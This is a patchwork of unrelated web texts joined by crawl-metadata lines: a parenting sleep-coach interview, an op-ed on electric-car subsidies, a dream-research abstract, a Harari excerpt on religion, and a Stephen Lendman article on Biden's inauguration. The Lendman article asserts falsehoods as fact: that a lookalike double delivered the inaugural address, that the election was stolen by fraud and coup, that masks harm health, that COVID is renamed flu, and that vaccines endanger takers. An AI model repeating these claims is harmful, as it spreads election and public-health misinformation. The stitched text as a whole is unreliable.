“People have been living in a psychological bubble,” Charles Dumas of Lombard Street Research told The Telegraph. “They ignored the cuts but now they are starting to feel it.”
“Pope Francis criticized what he called “savage capitalism” on a visit to a food kitchen, in an address in which he called for the values of generosity and charity to be revived.
“A savage capitalism has taught the logic of profit at any cost, of giving in order to get, of exploitation without thinking of people … and we see the results in the crisis we are experiencing,” the pope said.
Francis greeted the men and women coming to the “Gift of Maria” food kitchen, located at the walls of the Vatican….”
This documentary puts together everything I have been saying since i was literally 11 years old.
Friends of mine say why complain, why bitch, and that what i say is too big to tackle too depressing to even think about. They are no longer my friends as i have no time for those who have no humanity.
When i bot my home a bumper sticker on the water heater said “If Nothing Changes, Then Nothing Changes”…while that is true there also comes a time where dislocation comes so slowly or too quick to notice until you are in such excruciating pain you wonder how you will ever get back to normal.
Thankfully, there is hope and wisdom that will get us back to normal. The question is will you participate or be an obstacle ?
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DISCLAIMER: This is a personal web site, reflecting the opinions of its author(s). It is not a production of my employer, and it is unaffiliated with any FINRA broker/dealer. Statements on this site do not represent the views or policies of anyone other than myself. The information on this site is provided for discussion purposes only, and are not investing recommendations. Under no circumstances does this information represent a recommendation to buy or sell securities. DATA INFORMATION IS PROVIDED TO THE USERS "AS IS." NEITHER iBankCoin, NOR ITS AFFILIATES, NOR ANY THIRD PARTY DATA PROVIDER MAKE ANY EXPRESS OR IMPLIED WARRANTIES OF ANY KIND REGARDING THE DATA INFORMATION, INCLUDING, WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR USE.
DISCLAIMER: This is a personal web site, reflecting the opinions of its author(s). It is not a production of my employer, and it is unaffiliated with any FINRA broker/dealer. Statements on this site do not represent the views or policies of anyone other than myself. The information on this site is provided for discussion purposes only, and are not investing recommendations. Under no circumstances does this information represent a recommendation to buy or sell securities. DATA INFORMATION IS PROVIDED TO THE USERS "AS IS." NEITHER iBankCoin, NOR ITS AFFILIATES, NOR ANY THIRD PARTY DATA PROVIDER MAKE ANY EXPRESS OR IMPLIED WARRANTIES OF ANY KIND REGARDING THE DATA INFORMATION, INCLUDING, WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR USE. | mini_pile | {'original_id': '22e8e5f0b89cc59d6042c30b922386cd672aeb3296233e971a967a4f9c602a9f'} |
This implies about 20 stages and 250 tons/stage for the Eagle
production cuts weigh down apple
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Four people are killed and 15 hurt as a bus smashes down. Clegg gets a knighthood: Former Lib Dem leader to get a. George Michael’s ex boyfriend posts bizarre artwork. The evening kicked off «Dark for Dinner,» an effort from Georgia Pacific’s Dixie brand that encourages people to give up their phones, tablets and TVs for one dinner a week. Dixie is asking consumers to let the virtual world know they’re disconnecting, put their devices away and then share their experiences after the meal with the hashtag DarkforDinner. The campaign begins on June 14 and will run for the following six Sundays with a new theme each week.
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My baby wont sleep... send help! Don't worry, we've got your back Mumma.
As a parent to two young children, I am very familiar with all of the challenges that come with parenting. One of the biggest things that we all struggle with is getting our children to sleep (and keeping them asleep). Onto your second coffee before 7am? Keep reading Mumma...
We recently had a chat to Jen from Sleep.Thrive.Grow Consulting about all things sleep and wanted to share some of her beautiful tips with you. Read all about our chat below:
Hi Jen! We would love for you to introduce yourself and your biz. What does a Paediatric Sleep Coach do and how do you help to support parents with sleep?
Hi Wild Ivy Lane followers! I am Jen, the owner and founder of Sleep.Thrive.Grow Consulting (STG).
I am a mother of three, a practicing Registered Nurse for over 12 years and a certified Paediatric Sleep Specialist. I started this business because I have a deep rooted passion to continue to help and support others. I understand first-hand how tough being a parent can be and how much harder everything can feel when quality sleep just seems like a dream! I find when the sleep needs of a family are addressed, the improvements spill out into many other areas of life. This includes nutrition, elimination, recovery, learning ability, enjoyment, as well as in the general well-being and mood for both parent and child. The benefits are endless, which is why I prioritise sleep so highly.
My approach is solely focused around the individual needs of each unique family. There is no one size fits all and no time frame to be governed by. It involves a journey of change that is guided by my empathy and experience of mothering three children and is backed up with science. I wrap all this knowledge up into a family’s very own support bubble to create a safe space to receive non-judgemental guidance, during what can be a vulnerable time. This allows me to create a personal and holistic support system designed in a way that is relatable. My passion is to nurture a baby’s biological abilities alongside empowering confidence in parenting. I am a firm believer that confidence gained through knowledge and support together with an increased amount of quality sleep, truly allows a mother’s natural intuition to shine.
What is the cycle of overtiredness and how can you help to support parents with it?
The cycle of overtiredness is when a baby struggles to reach that deeper level of sleep time and time again. For whatever reason, their sleep needs are continuously not being met. This can create a crash and burn situation whereby baby is experiencing frequent overtiredness caused by a compound of short naps and broken night sleep over a long period of time, or it could be at the end of each day! This is usually followed by a long stretch of sleep experienced out of pure exhaustion, only to repeat the cycle the following day.
Some overtired cycles may be short lived due to things we cannot control. This can be when our baby suffers with sickness or they are experiencing some developmental changes and transitions or a change in sleep environment away from their normal comforts. In these occasions, time to work through the change and compensating with sleep as best as we can, would be the key. My 30-minute Sleep guidance call can help set parents on there right track and provide some tools and ideas if they are unsure how to support these changes. If this was the only problem, things will usually sort itself out reasonably quickly.
If overtiredness seems to be an ongoing problem, then it is really time to chat! I organise a full sleep assessment, which starts with the completion of STG’s sleep questionnaire. Possible causes are discussed and together we design a plan and approach that is aligned with your family and supportive of baby’s needs. Sometimes it is as simple as adjusting a routine and pattern to the day that has not been conductive to healthy sleep, or it may be more complex and require delving into the way baby has formed connections surrounding sleep itself. A personalised approach is then put in place in order to provide the support and guidance that is needed to promote a long-lasting change.
What are you top three pieces of advice for parents struggling with frequent night waking?
1. Remember that day sleep supports night sleep. We need to be on top of roughly how much day sleep is required for our babies in order to understand their needs and help them to achieve it. A well-rested baby will sleep more restoratively overnight than a baby that has struggled to sleep all day.
2. Figure out what the root cause may be. Find out if the number of wake ups are expected for their age range, or if there is something else that you feel that is contributing to the night waking.
3. Decide if there is a pattern related to the wake ups. Waking at different times of the night can be because of different reasons. This is due to the structure of our overnight sleep cycle or you may be experiencing frequent waking due to a sleep association. For example, wakes before midnight are often as a result of overtiredness and wakes every 2-4 hours throughout the night are likely due to a reduced level of re-settling ability without assistance.
Sorry I had to do one more!
4. If frequent night wakes are becoming too hard to deal with, know that there is help available. You are not a bad parent if you need some support or simply run out of the tools or ideas to improve on the situation. This was one of the reasons which lead me to create my essential sleep guides. I have split them up into age ranges in order to get specific on information that can guide and support you best and add to your ideas box of how to resolve a problem in your own time and space.
I feel that when a baby cries it needs to be held and comforted, especially during the first 12 months and I don’t personally believe in the cry it out method. What are your thoughts on this and how does your holistic approach to sleep support help families to go from surviving to thriving without ignoring their bub’s cry?
With a holistic approach to sleep I consider many factors that can relate to how well a baby will sleep. This includes age and development, environment, nutrition, associations, timing as well as parent views on sleep and the belief system surrounding their baby’s ability. I think it is important to really understand that just like us, babies have different personalities and temperament traits which govern their needs and preferences at different times throughout their life.
Comforting and soothing is something that we always need to provide our babies, and this does not go away when prioritising sleep. In fact, we can still have a great little sleeper that may need our presence and reassurance from time to time overnight. My methods are based on creating and maintaining a secure attachment for you and your baby by staging the process of change. This is guided by you and most importantly, your baby’s response. By using a gradual approach, I can be sensitive that I am meeting the needs of both parent and baby and help guide parents to nurture their baby’s confidence and natural ability to fall asleep. This allows for new pathways and connections to form in a baby’s maturing brain that supports lifelong healthy sleep.
Because of the way I have designed my support, the cry it out method does not align with my approach. The key is always to listen with intent and respond to your baby when needed. Once we understand the biology of sleep and a baby’s natural ability, we can truly make the best decision in how we respond. My methods are guided by a baby’s need for sleep and the level of sleeping ability they have based on their current experiences. To strengthen a baby’s skill in sleep, my view is that they always need to feel supported.
Ok, it’s time to mention those dreaded words: Sleep Regressions! Is there anything that truly helps or do you just need to wait it out knowing that it is a phase? Give us all of your best tips!
A sleep regression is when cognitive, physical or emotional development can disrupt a baby’s sleep.
It is important to understand that although it can result in some short-lived disruption to your baby’s normal sleeping patterns (which is the reason it is seen as a regression) it is really a huge progression for your baby! It is an exciting and tiring time for us and them!
My number one piece of advice is to not sit around waiting for it or anticipating a horrible experience! Your perception is powerful and through these natural changes your baby needs to know that they can rely on you more than ever!
This means that the less we change in response to a potential sleep regression, the better! Patience and consistency in how your baby normally would fall asleep is number 1! If we decide to take over that job because they are taking a little longer to settle that day, we are essentially reinforcing to our babies that there is something wrong. Pattern, routine and consistency surrounding sleep is so beneficial. Concentrate on a good wind down period prior to sleep to aid a smoother transition from awake time. Offer extra support where needed if baby is taking a long time to settle. If your baby is used to falling asleep without you, try to remain consistent with this. You will likely see the other side of a regression a lot quicker than if you introduce a new way of settling.
Practicing new developments during the day (the ones you are aware of) can help reduce the want and need to practice them at sleep time! Focus on giving them less attention at sleeping times is a good tip (you may have to hide your smiles here!). A physical development like standing up for the first time is great one to focus on practicing the sitting down part! Your baby will not automatically know how to do this, especially in a sleeping bag! This can create muscle memory when they find they have woken up in the middle of the night! Sometimes you may need to leave them and their excited energy for a few minutes before supporting them again!
Consider taking them to bed earlier than usual for a short period of time if a new development is resulting in a lot of extra time to settle. This is so we reduce the likelihood of becoming really overtired from all the extra practicing!
Introducing a comforter at sleep times for babies 7 months + can help to support separation anxiety that often occurs within a period of regression.
Ultimately, as a parent we want to encourage and support their confidence that change is okay. Help them grow through the changes and allow some time to adapt. You will see a fair few of these before they hit two years of age!
Thanks so much for sharing with us Jen! How can we get in touch with you and learn more?
My absolute pleasure!
I hope that this information has given you some valuable insight into the world of sleep and how my holistic approach has been able to support so many families! Please come at visit me on my Instagram page @sleep_thrive_grow or check me out on Facebook Sleep.Thrive.Grow Consulting.
I am always sharing information about personal client journeys that may resonate with some of you out there as well as useful tips and tricks in supporting quality sleep for our babies and toddlers.
If you want to know more about my products and services, my website is Feel free to organise a free 15-minute chat with me via the website if you would like to speak more in person about how I can help you.
I am so thankful to Jen for sharing so much of her knowledge with us, please reach out to her if you are struggling with sleep. Hang in there Mumma, you are doing an amazing job!
Ashlee xx
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An Interview with Jonathan Franzen
"It takes me a long time to write a novel, and what gets me going, finally, is trying to figure the world out," says Jonathan Franzen. Here, he discusses the inspirations behind his novel Freedom, and one of the challenges he faces as a writer: How to describe characters without satirizing them. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.9594776034355164}", 'metadata': "{'Content-Length': '35139', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:R7YEUEPWUOYNHVNJBS27C6FMIEC33YKP', 'WARC-Concurrent-To': '<urn:uuid:49287ff1-deed-4696-ae70-a7b7c258c7fa>', 'WARC-Date': datetime.datetime(2016, 7, 30, 1, 25, 41), 'WARC-IP-Address': '72.32.188.152', 'WARC-Identified-Payload-Type': None, 'WARC-Payload-Digest': 'sha1:2B2Y6YW27FYO5OAZYLZDV2ROJPNCIHAK', 'WARC-Record-ID': '<urn:uuid:cb7aeded-c0a9-42be-8cf9-6d983ce43183>', 'WARC-Target-URI': 'http://bookforum.com/video/7528/mode=large&top=7854%2C7652%2C7534%2C7243%2C6806&page_id=5', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:f68fa3c1-6721-42aa-834d-e7b3f5ce8459>', 'WARC-Truncated': 'length'}", 'previous_word_count': '58', 'url': 'http://bookforum.com/video/7528/mode=large&top=7854%2C7652%2C7534%2C7243%2C6806&page_id=5', 'warcinfo': 'robots: classic\r\nhostname: ip-10-185-27-174.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-30\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for July 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.639579713344574', 'original_id': '6d4ea3692aad614a5d6e3b85f0fbba54026f156be2d4d0f9c820ee4a3a8221c7'} |
Author`s name Stephen Lendman
Biden's Inaugural Address: An Exercise in Mass Deception
Biden's Inaugural Address: An Exercise in Mass Deception
Four years ago on January 20, Trump vowed to transfer power from Washington "and give it back to you, the people (sic)."
Saying while privileged Americans prospered, ordinary ones struggled to get by.
"That all changes starting right here and right now because this moment is your moment. It belongs to you (sic)," he said, adding:
"The forgotten men and women of our country will be forgotten no longer (sic)."
"The American carnage stops right here and stops right now...The oath of office I take today is an oath of allegiance to all Americans (sic)."
We know how his mass deception turned out.
Time and again, political candidates promise one thing, then deliver something entirely difference if elected, notably in the US.
Government of, by, and for all Americans equitably is pure fantasy.
Like most of his predecessors, Trump served privileged interests exclusively at the expense of ordinary people he was indifferent toward.
Will that all change right here, right now under Biden/Harris?
Will the sun henceforth rise in the West and set in the East?
Dissembling is what politicians do. It goes with the territory, especially in the West, the US most of all.
It's why they can never be trusted. Rare exceptions prove the rule.
Biden: Big lies and mass deception
Biden built a near-half century political career on a foundation of Big Lies and mass deception.
They'll surely continue as long as he remains in office.
Believing otherwise is naive and wishful thinking.
What almost never happens in the US surely isn't what's coming ahead. Expect the opposite.
Prepare to be betrayed because it's baked in the cake.
Once a servant of privileged interests and his own exclusively over the general welfare, always one.
Biden is a longstanding dirty system deep state tool - controlled by higher powers.
That's what he's always been all about. The same goes for Harris over a shorter duration.
Otherwise they wouldn't have been chosen to replace Trump.
They're reliable, controllable, and vitually certain to make an already bad situation worse on their watch for ordinary people at home and abroad.
That's the only change I expect ahead - a dark chapter in US history growing darker, dystopia on their watch to deepen.
Harris is president in waiting, a hardline former prosecutor to take over when cognitively impaired Biden can no longer fake it even in sound bites.
He long ago abandoned public addresses, a lookalike double making them for him - including his inaugural address.
Roots of tyranny already exist in the mythical land of the free and home of the brave.
Follow their further sprouting ahead as dark forces controlling Biden/Harris likely snuff out what remains of a free and open society to solidify unchallenged deep state control.
Biden's tenure began by mandating harmful-to-health face masks that don't protect in federal buildings and on its lands by executive order.
It "call(s) on governors, public health officials, mayors, business leaders and others to implement masking, physical distancing, and other measures to control Covid-19," according to the new regime's seasonal flu (renamed covid) czar Jeff Zients.
Will the above be mandated ahead nationwide - followed perhaps by mandated vaxxing with what risks great harm or worse when taken as directed?
Will the above and mandated vaccine passports for access to public places become part of the new abnormal?
Will dissent against unacceptable Biden/Harris regime policies be criminalized as domestic terrorism?
Will we be cowed into submission to US dark forces for our own good?
Will war on humanity at home and abroad harden under selected, not elected, Biden/Harris - an illegitimate duo now empowered?
After attending their inauguration with the capital under unprecedented lockdown and militarization, Russia's envoy to Washington Anatoly Antonov said the following:
"I would like to believe that a new chapter in the development of the (US) begins today and, of course, that a new chapter in the development of Russian-American relations begins as well," adding:
After monitoring Wednesday's events and public remarks on US television, "I can't say that we found a lot of positive in the speeches" made by elements of the new regime in town.
Antonov, other Russian officials, and their counterparts in other nations free from US control know that chances for improved relations between their countries and Washington is virtually nil.
Hardline foreign policy
The new regime's geopolitical agenda is sure to be uncompromisingly hardline against all nations unwilling to sacrifice their sovereign rights to a higher power in Washington.
On Tuesday, Russia's lower house State Duma Speaker Vyacheslav Volodin acknowledged reality in police state America, saying the following:
"Those who participated in unauthorized political actions everywhere were anointed by Washington as fighters for freedom and democracy."
"When the same thing happen(s) in the (US), (they're) labelled...domestic terrorists who face 15-20 years in prison."
"(They'll) be real political prisoners. Let's call a spade a spade."
That's part of how the US operates at home and abroad - a take no prisoners approach to governing.
Biden/Harris replaced Trump by coup d'etat, likely to enhance swamp rule that's festered and hardened for decades - the American way's ugly face.
No government of, by, and for everyone ever existed from inception, no democracy other than a fantasy version wrapped in the American flag to foster the illusion of what doesn't exist and never did.
The US is run by deep state militarists, corporatists, and other tyrannical elements for their own self-interest at the expense of ordinary people everywhere - to be exploited, not served.
Biden/Harris were chosen to front for the dirty system at a time of imperial USA's deepening decline en route to history's dustbin where it belongs.
They're beholden to dark forces controlling them.
Will martial law be declared ahead on the phony pretext of foreign threats and domestic terrorism to counter?
Will what remains of a free and open society be replaced by full-blown totalitarian rule, enforced by police state harshness?
Make no mistake. Biden/Harris and members of their regime are enemies of ordinary people, hostile to their interests, wanting them exploited, not served.
Along with likely escalated foreign aggression against one or more invented enemies, homeland despotism will likely harden on their watch for our own good we'll likely be told.
With history in mind in my lifetime since Franklin Roosevelt goaded imperial Japan to attack the US, knew Pearl Harbor was coming but failed to warn its commander to give him the war he wanted, America has been on a downward trajectory toward full-blown despotism.
JFK, RFK and MLK were eliminated for standing in the way of what US dark forces have been pursuing for generations.
Trump was an aberration so had to be denied a second term, brazen fraud the vehicle to elevate Biden/Harris to power.
Big Media-proliferated mind manipulation promotes the official narrative by suppressing hard truths.
Public mind control convinces most people to go along with what harms their health, welfare, safety, and a nation unfit to live in.
A permanent war on humanity rages at home and abroad, Biden/Harris appointed the latest maestros of misery over ordinary Americans.
Their diabolical mission is hidden behind smiling faces, a facade that's part of mass deception.
They'll preside over affairs of state extrajudicially like most of their predecessors.
Wreckage they inherited may be shattered beyond repair before passing the baton to what's likely to be full-blown tyranny under whoever succeeds them - based on what's been happening post-9/11, greatly escalated last year.
Russian State Duma Speaker Volodin got it right saying:
A nation "which lectures the whole world about the standards of democracy" denies it to its own people and tolerates it nowhere else.
That's the agenda Biden/Harris inherited, charged with serving the interests of dark forces controlling them.
Forewarned is forearmed. The only solution is popular revolution.
The alternative is ruler/serf USA ahead.
It's baked in the cake without all-out resistance to reject what no one should accept.
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There is no planned green car economy
customer comments
Oliver Luksic, of the FDP, has no electric mobility ordered by political order. The car of tomorrow must decide the market, not the state. Otherwise, it will soon become a luxury product.
Oliver Luksic
Pictograph of electric car on a park field. (Image: Christian Beutler / Keystone)
The electric drives are good, the burners are bad: that's the paradigm currently valid for the car. As a result, electric cars and gas burners are forced to disappear at the national and European levels due to the ban on diesel vehicles, more and more stringent subsidies and targets in terms of fleet. CO2. The introduction of a CO2-related transport tax will be the next policy instrument of this project. German companies are taking risks and investing heavily to ensure their pioneering role in the field of electronic mobility. Both types of readers have advantages and disadvantages. The technological openness rather than the unilateral focus on electric transmission would be the correct political answer.
Oliver Luksic is a member of the German FDP group and spokesperson for transport policy. (Photo: PD)
Oliver Luksic is a member of the German FDP and spokesperson for his group on transport policy. (Photo: PD)
Electric propulsion is useful in urban agglomeration because of its low emissions of pollutants and noise. Also in terms of driving characteristics, it can score points as it brings the full torque directly to the road. In the long run, however, the combustion engine has obvious advantages because of its superior range. In addition to the potential of the combustion chamber, which can become even cleaner and more fuel-efficient, hybridization offers the possibility of combining the advantages of electric motors and combustion engines: urban driving without emission and driving to long distance.
Inexpensive micro vehicles
But instead of promoting other new technologies (e-fuels and hydrogen) with market-based openness and incentives for innovation, public subsidies to electronic vehicles such as purchase premiums , charging station subsidies and various tax benefits are based solely on battery powered electronic mobility. The consequence is the cessation of production of small, inexpensive vehicles with internal combustion engines, such as the VW Up, Ford Ka, Smart or Opel Adam, although the demand for this small car is not interrupted. If it is no longer supply and demand, but the policy that determines which cars are built, this will pave the way for a planned green economy era.
Overall, the balance of traffic is not environmentally friendly, so small cars removed and especially large vehicles are electrified. Due to the production of batteries and extraction of necessary raw materials, additional CO2 is produced. Thus, according to VW, an e-Golf is only cleaner than an identical Golf TDI, with a mileage of 125,000 kilometers. Despite the premium to electronic purchase, the main obstacle to purchase lies in the price, but also in the infrastructure of insufficient charging and long charge times in the foreseeable future. And the most important cost is the battery, even with increasing production volumes.
Driving a car becomes a luxury
Without leap of innovation, it will not change much. Although the electrification of the powertrain simplifies the technology, the car becomes more expensive. This price / performance gap puts considerable pressure on manufacturers' costs and margins, which will lead to significant job losses and relocation. The result is a double paradox of electronic mobility. In addition to this, builders must balance the emissions of their remaining fleet with the help of electrified luxury cars due to CO2 savings. It is expensive and leads to bizarre solutions. For example, Fiat Chrysler has an agreement with Tesla to "cleanly buy" its own vehicles with Tesla's carbon footprint. The consequence of this planned economy is that basic mobility becomes enormously more expensive. Driving a car becomes a difficult medium-term luxury for low-income people.
From the point of view of industrial policy also, the planned transition to electric mobility on battery is risky for Germany. In addition to the significantly lower vertical manufacturing range and the loss of German added value in the manufacturing sector, dependence on raw materials such as cobalt and rare earths, which are mainly in Chinese hands, is exploited without taking into account the environmental damage, jeopardizes important parts of the automobile production and therefore of a key German industry, If this happened to the end of the internal combustion engine, it would mean, according to Ifo Institute, a loss worth 13% or 48 billion euros.
The era of the planned green economy has begun, if not more supply and demand, but the state determines the cars built. Instead of being open to technology, the focus is solely on battery electromobility, which in itself can not be progress or innovation. Those who want to capitalize on the benefits of e-mobility in urban areas and avoid double anti-social policies that have a huge impact on auto and low-wage professionals, now have the last chance to overthrow the market economy. .
Read here the opposite position of Cem Özdemir, green traffic specialist: | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '5', 'language_id_whole_page_fasttext': "{'en': 0.9531457424163818}", 'metadata': "{'Content-Length': '44766', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:ZY6NOVGLQMQUEQIJP2HNG5SHHVUNL7GQ', 'WARC-Concurrent-To': '<urn:uuid:de7a7a0f-5f44-4b70-959c-99d0ba0624c0>', 'WARC-Date': datetime.datetime(2019, 6, 18, 3, 39, 27), 'WARC-IP-Address': '54.36.91.62', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:UH5LRCNVESYCZC4W2EK5KZPPJGPBV4GD', 'WARC-Record-ID': '<urn:uuid:872d830a-1e29-4a00-b9d5-7afd5dc9ea5b>', 'WARC-Target-URI': 'https://grouvysport.com/index.php/2019/06/12/there-is-no-planned-green-car-economy/', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:be2ffa60-fb61-49e7-94fc-90fa1dc719da>', 'WARC-Truncated': None}", 'previous_word_count': '844', 'url': 'https://grouvysport.com/index.php/2019/06/12/there-is-no-planned-green-car-economy/', 'warcinfo': 'isPartOf: CC-MAIN-2019-26\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2019\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-168-158-209.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.1854947805404663', 'original_id': '555ce7d4a12cbb8189b21a53cf950db17b3399f0dba15a2b874dc41f04d764ea'} |
Auditory evoked potentials in lucid dreams: A dissertation summary
• Kristoffer Appel (Author)
University of Osnabrück
• Gordon Pipa (Author)
Identifiers (Article)
Are lucidly dreaming subjects able to discriminate between two different auditory stimuli using an oddball paradigm? How does the evoked potential (P300) in the EEG during this task look during lucidity, as compared to wakefulness and to non-lucid REM sleep? These are the central questions in Dr. Johannes Oliver Strelen’s dissertation, which is summarized in English language in this article. Six experienced lucid dreamers underwent polysomnographic recordings in the sleep laboratory for a total of 21 nights. Their task was to move their eyes from left to right, whenever they heard the target stimulus of an oddball paradigm, which was presented throughout the whole night. Three of the six subjects experienced a verified lucid dream and conducted the given task within it. The performance (correct responses) in the oddball task during lucid dreaming was worse than during wakefulness, but significantly better than what could be explained by chance. Thus, Strelen showed,that it is possible to react to simple auditory stimuli with a pre-defined eye movement, while dreaming lucidly, without waking up in between. Moreover, for two of his subjects, Strelen analyzed the auditory evoked potential (P300) of the EEG signal during the oddball paradigm. In one case, he found a clear, in the other case a questionable P300 peak. The morphology of the P300 EEG pattern for the correctly answered target stimuli during lucid dreaming was similar to the P300 EEG pattern during wakefulness, suggesting that information processing during lucid dreams is closer to wakefulness than to non-lucid REM sleep.
How to Cite
Appel, K., & Pipa, G. (2017). Auditory evoked potentials in lucid dreams: A dissertation summary. International Journal of Dream Research, 10(1), 98–100. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.9307639598846436}", 'metadata': "{'Content-Length': '33144', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:WCTNI3ZDXD4PEVL6N3EDVQE3IIJ2PPVL', 'WARC-Concurrent-To': '<urn:uuid:8d6ceb12-09ad-4aab-8b4c-0ee60741e0c6>', 'WARC-Date': datetime.datetime(2021, 5, 11, 7, 55, 37), 'WARC-IP-Address': '147.142.186.60', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:7LRHW6JI5F4EU6LJD22SJHQGNYB4AGFR', 'WARC-Record-ID': '<urn:uuid:5e485ec9-20d2-4d64-a9b8-016377530e3e>', 'WARC-Target-URI': 'https://journals.ub.uni-heidelberg.de/index.php/IJoDR/article/view/37192', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:0d8ade0b-6311-49c4-9f3f-b893c4c6fc03>', 'WARC-Truncated': None}", 'previous_word_count': '294', 'url': 'https://journals.ub.uni-heidelberg.de/index.php/IJoDR/article/view/37192', 'warcinfo': 'isPartOf: CC-MAIN-2021-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2021\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-167.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.7230765223503113', 'original_id': '0692547762870f9c50e4dd9de8652ce25a06dc698533458df709062bbf99a3d3'} |
Main 21 Lessons for the 21st Century
Book cover 21 Lessons for the 21st Century
21 Lessons for the 21st Century
InSapiens,he explored our past. InHomo Deus,he looked to our future.Now, one of the most innovative thinkers on the planet turns to the present to make sense of today's most pressing issues.
Year: 2018
Language: english
Pages: 400
ISBN 10: 0525512179
ISBN 13: 9780525512172
File: EPUB, 3.11 MB
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God now serves the nation
So far, modern ideologies, scientific experts and national governments have failed to create a viable vision for the future of humanity. Can such a vision be drawn from the deep wells of human religious traditions? Maybe the answer has been waiting for us all along between the pages of the Bible, the Quran or the Vedas.
Secular people are likely to react to this idea with ridicule or apprehension. Holy scriptures may have been relevant in the Middle Ages, but how can they guide us in the era of artificial intelligence, bioengineering, global warming and cyberwarfare? Yet secular people are a minority. Billions of humans still profess greater faith in the Quran and the Bible than in the theory of evolution; religious movements mould the politics of countries as diverse as India, Turkey and the United States; and religious animosities fuel conflicts from Nigeria to the Philippines.
So how relevant are religions such as Christianity, Islam and Hinduism? Can they help us solve the major problems we face? To understand the role of traditional religions in the world of the twenty-first century, we need to distinguish between three types of problems:
Technical problems. For example, how should farmers in arid countries deal with severe droughts caused by global warming?
Policy problems. For example, what measures should governments adopt to prevent global warming in the first place?
Identity problems. For example, should I even care about the problems of farmers on the other side of the world, or should I care only about problems of people from my own tribe and country?
As we shall see in the following pages, traditional religions are largely irrelevant to technical and policy problems. In contrast, they are extremely relevant to identity problems – but in most cases they constitute a major part of the problem rather than a potential solution.
Technical problems: Christian agriculture
In premodern times religions were responsible for solving a wide range of technical problems in mundane fields such as agriculture. Divine calendars determined when to plant and when to harvest, while temple rituals secured rainfall and protected against pests. When an agricultural crisis loomed as a result of drought or a plague of locusts, farmers turned to the priests to intercede with the gods. Medicine too fell within the religious domain. Almost every prophet, guru and shaman doubled as a healer. Thus Jesus spent much of his time making the sick well, the blind see, the mute talk, and the mad sane. Whether you lived in ancient Egypt or in medieval Europe, if you were ill you were likely to go to the witch doctor rather than to the doctor, and to make a pilgrimage to a renowned temple rather than to a hospital.
In recent times the biologists and the surgeons have taken over from the priests and the miracle workers. If Egypt is now struck by a plague of locusts, Egyptians may well ask Allah for help – why not? – but they will not forget to call upon chemists, entomologists and geneticists to develop stronger pesticides and insect-resisting wheat strains. If the child of a devout Hindu suffers from a severe case of measles, the father would say a prayer to Dhanvantari and offer flowers and sweets at the local temple – but only after he has rushed the toddler to the nearest hospital and entrusted him to the care of the doctors there. Even mental illness – the last bastion of religious healers – is gradually passing into the hand of the scientists, as neurology replaces demonology and Prozac supplants exorcism.
The victory of science has been so complete that our very idea of religion has changed. We no longer associate religion with farming and medicine. Even many zealots now suffer from collective amnesia, and prefer to forget that traditional religions ever laid claim to these domains. ‘So what if we turn to engineers and doctors?’ say the zealots. ‘That proves nothing. What has religion got to do with agriculture or medicine in the first place?’
Traditional religions have lost so much turf because, frankly, they just weren’t very good in farming or healthcare. The true expertise of priests and gurus has never really been rainmaking, healing, prophecy or magic. Rather, it has always been interpretation. A priest is not somebody who knows how to perform the rain dance and end the drought. A priest is somebody who knows how to justify why the rain dance failed, and why we must keep believing in our god even though he seems deaf to all our prayers.
Yet it is precisely their genius for interpretation that puts religious leaders at a disadvantage when they compete against scientists. Scientists too know how to cut corners and twist the evidence, but in the end, the mark of science is the willingness to admit failure and try a different tack. That’s why scientists gradually learn how to grow better crops and make better medicines, whereas priests and gurus learn only how to make better excuses. Over the centuries, even the true believers have noticed the difference, which is why religious authority has been dwindling in more and more technical fields. This is also why the entire world has increasingly become a single civilisation. When things really work, everybody adopts them.
Policy problems: Muslim economics
While science provides us with clear-cut answers to technical questions such as how to cure measles, there is considerable disagreement among scientists about questions of policy. Almost all scientists concur that global warming is a fact, but there is no consensus regarding the best economic reaction to this threat. That does not mean, however, that traditional religions can help us resolve the issue. Ancient scriptures are just not a good guide for modern economics, and the main fault lines – for example between capitalists and socialists – don’t correspond to the divisions between traditional religions.
